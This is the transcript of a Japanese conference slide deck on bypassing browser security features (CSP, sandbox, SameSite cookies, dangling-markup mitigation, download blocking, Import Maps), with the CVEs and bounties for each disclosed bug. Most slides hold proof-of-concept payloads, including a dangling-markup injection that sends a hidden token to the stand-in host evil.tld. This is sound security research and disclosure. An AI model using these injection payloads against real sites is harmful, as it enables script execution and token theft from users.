Upgrade to Pro — share decks privately, control downloads, hide ads and more …

ブラウザセキュリティ機能は バイパスされる為にある

ブラウザセキュリティ機能は バイパスされる為にある

Shibuya.XSS techtalk #11で話したスライド
色んなブラウザセキュリティ機能をバイパスしていきます

Jun Kokatsu

May 16, 2019
Tweet

More Decks by Jun Kokatsu

Other Decks in Research

Transcript

  1. CSPのバイパス2 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://evil.tld https://victim.tld#javascript:alert(1) button.onclick =

    () => { window.open(location.hash.slice(1), ”new”); } window.name=”new”; window.open(“//victim.tld#javascript: alert(1)”); location.href=”//victim.tld/robots.txt”
  2. CSPのバイパス2 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://victim.tld/robots.txt https://victim.tld#javascript:alert(1) button.onclick =

    () => { window.open(location.hash.slice(1), ”new”); } https://victim.tld/robots.txtにCSPが設定されて いない場合はChromeとSafariでバイパスが可能 だった CVE-2017-15387: $1000 each No CSP
  3. CSP/iframeサンドボックス windowやiframe内に色々な制限をかけられるセキュリティ機能 Content-Security-Policy: sandbox allow-scripts; // スクリプトは許可 <iframe src=”//evil.tld” sandbox=”allow-popups”>ポップアップは許可</iframe>

    allow-same-originが指定されない限りサンドボックス内のオリジンは Opaque オリジンとなる オリジンが変わってもURLは変わらない為、色々なバグが発生する
  4. SameSite Laxのバイパス https://victim.tld Set-Cookie: secret=Lax; SameSite=Lax https://evil.tld https://victim.tld No cookie

    https://evil.tld https://victim.tld secret=Lax https://victim.tld クロスサイトから埋め込まれても送られない トップフレームが同一サイトだと送られていた CVE-2018-18351: $1000
  5. Dangling markup mitigation リソースリクエストの中に\nと<が含まれるものをブロックするChromeの セキュリティ機能 https://www.chromestatus.com/feature/5735596811091968 <!-- injecion --> <img

    src=’https://evil.tld/? <!-- /injection --> <b>Hello shhnjk</b> <input type=”hidden” name=”secret_token” value=”123456”> … <b>Today’s talk</b> ユーザの関与なしに送られるリクエストのみを対象としている
  6. Dangling markup mitigationのバイパス Data URLをパースする際スペースや改行が消されるので、 Data URL内のimgタグのリク エストには改行が存在しなくなる <!-- injecion

    --> <iframe src=’data:text/html,<img src=”https://evil.tld/? <!-- /injection --> <b>Hello shhnjk</b> <input type=”hidden” name=”secret_token” value=”123456”> … <b>Today’s talk</b> https://crbug.com/749852 : $500
  7. クロスオリジン<a download>の無効化 クロスオリジンなダウンロードを無効化しナビゲーションに変更する Chromeの セキュリティ機能 https://www.chromestatus.com/feature/4969697975992320 <a href=”https://victim.tld” download>Navigate instead

    of download</a> クロスオリジンな強制ダウンロードは悪用されたこともあった https://labs.mwrinfosecurity.com/assets/BlogFiles/Geshev-and-Miller-Logic-Bug-Hunting-in-Chrome-on-Android.pdf
  8. クロスオリジン<a download>の無効化のバイパス クロスオリジンにリダイレクトすればいい <a href=”/redirect?url=https://victim.tld” download>Let’s just download :)</a> 残念ながら重複

    一度ダウンロードとしてリクエストしたリソースをレスポンスが返ってきてからナビゲーション に変更する為、様々なバグを生み出してくれる
  9. Import Mapsで何をバイパスできるか考えてみよう <script type="importmap"> { "imports": { "/path/to/kv-storage-polyfill.mjs": [ "std:kv-storage",

    "/path/to/kv-storage-polyfill.mjs" ] }} </script> <script type="module"> import {storage} from '/path/to/kv-storage-polyfill.mjs'; </script> https://developers.google.com/web/updates/2019/03/kv-storage#import_maps 今日紹介したセキュリティ機能の何かがバイパス 出来ます!考えてみましょう! ブラウザ内に最初のスクリプトがある場合はそれを、ない場合は 次のスクリプトを読み込んでくれるマップ
  10. CSPのバイパス3 Content-Security-Policy: script-src: ‘nonce-random’; <script type="importmap"> { "imports": { "/path/to/kv-storage-polyfill.mjs":

    [ "data:application/javascript,const storage=()=>{}; storage.set=(a,b)=>{alert(1)}; export {storage};" ] }}</script> <script type="module" nonce="random"> import {storage} from '/path/to/kv-storage-polyfill.mjs'; storage.set('test', '1'); // alert(1) </script> Nonceを指定しなくてもマップを作れてしまう https://crbug.com/941340: $1000 アイディアが浮かんだ方はみんな正解!
  11. Questions? https://victim.tld/agenda.html?fake_xss=<script>time_remaining = true;</script> <script>time_remaining = true;</script> while(time_remaining) { •

    機能説明 • バイパス } The XSS Auditor refused to execute a script Uncaught ReferenceError: time_remaining is not defined